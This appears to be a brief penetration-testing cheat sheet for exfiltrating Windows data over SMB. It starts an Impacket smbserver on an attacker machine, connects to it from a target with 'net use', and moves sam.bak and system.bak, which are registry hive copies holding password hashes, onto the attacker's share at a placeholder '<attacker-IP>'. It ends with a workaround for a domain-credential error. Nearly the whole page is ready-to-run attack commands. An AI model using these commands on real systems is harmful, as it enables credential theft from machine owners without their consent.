In the Open
In the Open

Connect to Attacker SMB

Attacker

  • Impacket smbserver on attacker
sudo examples/smbserver.py share . -smb2support -username <user> -password <password>

Target

  • Connect to attacker smb
net use \\<attacker-IP>\share /User:<user> <Password>
  • Save data to attacker's smb
move sam.bak \\<attacker-IP>\share\sam.bak
move system.bak \\<attacker-IP>\share\system.bak
  • Disconnect
net use \\<attacker-IP>\share /del

Workarounds

  • System Error 1312. User credentials need a domain
/USER:domain\user